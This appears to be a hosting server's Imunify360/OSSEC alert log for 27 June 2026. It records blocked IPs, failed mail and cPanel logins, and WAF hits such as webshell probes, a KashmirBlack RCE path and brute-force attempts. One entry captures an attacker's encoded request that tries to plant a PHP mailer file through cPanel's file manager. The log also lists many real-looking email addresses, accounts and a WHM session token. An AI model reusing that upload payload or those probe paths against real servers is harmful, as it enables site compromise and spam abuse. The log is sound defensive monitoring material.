Jun 27 11:33:28 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.246 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.26.103.215
country_id: 6252001
description:
[2026-06-27 03:41:07 +0000] info [cpaneld] 159.26.103.215 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 10:04:11 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.161.55.5
country_id: 3608932
description:
Jun 27 07:25:30 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.161.55.5 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.189.233.12
country_id: 1643084
description:
192.189.233.12 - - [27/Jun/2026:04:19:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6647185&pdata=https%253A%252F%252Fucao-uut.tg%252Fadmissions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782533970 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/admissions/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.189.233.12


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.107
country_id: 3469034
description:
Jun 27 06:42:03 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:19:37 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:12:11 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (e1IzbMO) [207.244.243.217]:54779: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:19:39 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (skBZLBw) [207.244.243.217]:63902: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jun 27 17:30:48 ns5 login[3958]: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.127
country_id: 798544
description:
Jun 27 09:00:22 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.127 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-27 01:10:05 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.74
country_id: 3469034
description:
Jun 27 07:49:28 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.245.249.5
country_id: 3469034
description:
Jun 27 00:13:59 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.245.249.5 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-27 12:40:02 +0000] info [whostmgrd] 80.248.64.198 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:13:41 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:46:55 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.161.55.5
country_id: 3608932
description:
Jun 27 07:25:36 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.161.55.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:46:54 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.216
country_id: 3469034
description:
Jun 27 01:16:02 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:46:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:3528: 535 Incorrect authentication data (set_id=roxana@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.228.251.47
country_id: 2658434
description:
Jun 27 04:22:33 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.228.251.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.251.180.84
country_id: 3469034
description:
Jun 27 04:45:58 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.251.180.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.236
country_id: 953987
description:
Jun 27 00:45:20 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 19:48:30 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 19:48:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:22542: 535 Incorrect authentication data (set_id=roman1@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 19:48:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:20840: 535 Incorrect authentication data (set_id=academy@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 19:48:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34630: 535 Incorrect authentication data (set_id=osa@ns5.netmaster.tg)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.253.27.80
country_id: 1880251
domain: crepsad.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.21||T:APACHE||MV:/wp-admin/images/wp-signup.php||SC:/home/crepsad/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 19:48:09 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 19:48:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:54714: 535 Incorrect authentication data (set_id=erp@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 19:48:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:31918: 535 Incorrect authentication data (set_id=ildiko@ns5.netmaster.tg)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 102.64.164.200
country_id: 2363686
description:
[2026-06-27 19:48:02 +0000] info [whostmgrd] 102.64.164.200 NEW root:koAYMXuKCcLHZaAQ address=102.64.164.200,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 19:48:09 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.110.200
country_id: 2363686
description:
[2026-06-27 19:47:58 +0000] info [webmaild] 196.168.110.200 - rahim.nadaabi@tchambainvest.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 19:48:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:7712: 535 Incorrect authentication data (set_id=onmicrosoft@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 19:48:56 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-27 19:48:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:30814: 535 Incorrect authentication data (set_id=spravka@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 19:48:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:63148: 535 Incorrect authentication data (set_id=111678@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 19:48:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:47750: 535 Incorrect authentication data (set_id=plasma@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-06-27 19:49:42 dovecot_login authenticator failed for H=([182.95.214.23]) [220.77.214.59]:35209: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 20.249.12.26
country_id: 1835841
domain: crechepetitelune.tg
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.21||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.110.200
country_id: 2363686
description:
[2026-06-27 19:48:54 +0000] info [webmaild] 196.168.110.200 - dr.issifou@tchambainvest.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 19:49:11 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.249.12.26
country_id: 1835841
domain: crechepetitelune.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.21||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/wcdxbboq/public_html/wp-content||


plugin: modsec
rule: 77316797
name: IM360 WAF: RCE in uri used by KashmirBlack
abuser: 208.76.40.197
country_id: 1643084
domain: afriquerevelation.tg
description:
IM360 WAF: RCE in uri used by KashmirBlack||WPU:||RSV:8.21||T:APACHE||MV:/vendor/phpunit/phpunit/src/Util/PHP/alfacgiapi/netflixID/app/perl.alfa||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-27 19:48:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:8054: 535 Incorrect authentication data (set_id=blow@ns5.netmaster.tg)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.253.27.80
country_id: 1880251
domain: crepsad.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.21||T:APACHE||MV:/wp-includes/js/tinymce/skins/lightgray/img/index.php||SC:/home/crepsad/public_html/wp-includes||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 62.164.177.224
country_id: 2750405
domain: cafeit.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:www.rrpproxy.net/fran%C4%A8ais/Page_d%18accueil.cafeit.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 19:48:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39384: 535 Incorrect authentication data (set_id=smtpin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 27 19:48:56 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 19:49:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:10622: 535 Incorrect authentication data (set_id=qa@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 27 19:49:57 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 27 19:49:59 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-27 19:50:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:51252: 535 Incorrect authentication data (set_id=board@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-27 19:49:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27348: 535 Incorrect authentication data (set_id=ips@ns5.netmaster.tg)


plugin: modsec
rule: 77140165
name: IM360 WAF: Block .suspected files
abuser: 103.253.27.99
country_id: 1880251
domain: dany2.mairie.tg
description:
IM360 WAF: Block .suspected files||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.well-known/pki-validation/termps.php.suspected||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.172.198.126
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/product/xbox-one-lunar-white-controller/?add-to-cart=130||QS:add-to-cart=130||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 27 19:54:49 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-27 19:54:56 +0000] info [whostmgrd] 95.214.54.159 - root "GET /cpsess4578954791/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 27 19:55:05 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.148.194
country_id: 99237
description:
Jun 27 19:55:07 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.148.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 27 19:55:22 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 27 19:55:41 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-27 19:54:55 +0000] info [whostmgrd] 95.214.54.159 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 27 19:56:29 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.173.217.184
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:107.173.217.184||TA:107.173.217.184||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 27 19:56:22 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.151.58
country_id: 1819730
description:
Jun 27 19:57:12 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.151.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 27 19:57:29 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.167.95.242
country_id: 1269750
description:
2026-06-27 19:58:59 dovecot_login authenticator failed for H=([189.57.9.17]) [103.167.95.242]:42612: 535 Incorrect authentication data (set_id=jibril-geoffroy@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.167.95.242
country_id: 1269750
description:
Jun 27 19:58:57 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.167.95.242 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 20:02:15 +0000] info [cpaneld] 188.166.248.160 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.8.175.6
country_id: 3469034
description:
Jun 27 20:03:28 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.8.175.6 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 43.229.135.118
country_id: 1605651
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:43.229.135.118||TA:43.229.135.118||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.8.175.6
country_id: 3469034
description:
2026-06-27 20:03:30 dovecot_login authenticator failed for H=(rec1.spedynet.com.br) [190.8.175.6]:56016: 535 Incorrect authentication data (set_id=moise.attissovi@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-27 20:04:32 +0000] info [whostmgrd] 95.214.54.159 - root "GET /cpsess5604256316/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-27 20:04:31 +0000] info [whostmgrd] 95.214.54.159 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.172.198.151
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/shop/telephones-2/tecno/tecno-camon-x/?add-to-cart=2351||QS:add-to-cart=2351||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 20:15:56 +0000] info [cpaneld] 188.166.248.160 - primuscourtiertg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user primuscourtiertg (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.145.116.231
country_id: 2017370
domain: sia-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sia-togo.tg/wp-admin/post-new.php HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.181.75.201
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:217.181.75.201||TA:217.181.75.201||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 111.225.149.8
country_id: 1814991
domain: dagl.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 27 20:20:17 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.218
country_id: 2750405
description:
2026-06-27 20:21:33 dovecot_plain authenticator failed for H=(YTA94269302) [104.28.155.218]:50720: 535 Incorrect authentication data (set_id=587)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.224
country_id: 3865483
description:
Jun 27 20:23:31 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.224 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.173.177.135
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/shop/telephones-2/infinix/infinix-hot-6x/?add-to-cart=2344||QS:add-to-cart=2344||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.30.238
country_id: 2750405
description:
[2026-06-27 20:26:40 +0000] info [cpaneld] 195.63.30.238 - xdkbrmjc "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.172.198
country_id: 2363686
description:
[2026-06-27 20:28:44 +0000] info [webmaild] 102.64.172.198 - some.f@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-27 20:28:35 +0000] info [cpaneld] 36.77.232.64 - crepsad "POST /login HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.72.131.163
country_id: 6252001
description:
[2026-06-27 20:28:27 +0000] info [cpaneld] 38.72.131.163 - togosem "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togosem (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.172.198
country_id: 2363686
description:
[2026-06-27 20:29:22 +0000] info [webmaild] 102.64.172.198 - some.f@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.79
country_id: 2395170
description:
Jun 27 20:29:34 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.54.205.220
country_id: 1562822
description:
2026-06-27 20:31:22 dovecot_plain authenticator failed for H=(localhost) [1.54.205.220]:9802: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 72.63.16.51
country_id: 1861060
description:
72.63.16.51 - - [27/Jun/2026:20:32:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7325591&pdata=https%253A%252F%252Ftogomedia24.tg%252F2024%252F04%252F17%252Fle-togo-condamne-et-expulse-un-journaliste-francais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782592345 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2024/04/17/le-togo-condamne-et-expulse-un-journaliste-francais/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.6306.1333 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:72.63.16.51


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 20:33:48 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.112.179.35
country_id: 3469034
description:
Jun 27 20:33:54 ns5 auth[2481]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.112.179.35 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.184.195.128
country_id: 2750405
description:
[2026-06-27 20:36:35 +0000] info [cpaneld] 185.184.195.128 - cloudetracks "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.71.220.203
country_id: 1880251
description:
[2026-06-27 20:41:14 +0000] info [cpaneld] 167.71.220.203 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.20.125.171
country_id: 1522867
domain: sia-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sia-togo.tg/wp-admin/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.249.251.88
country_id: 1668284
description:
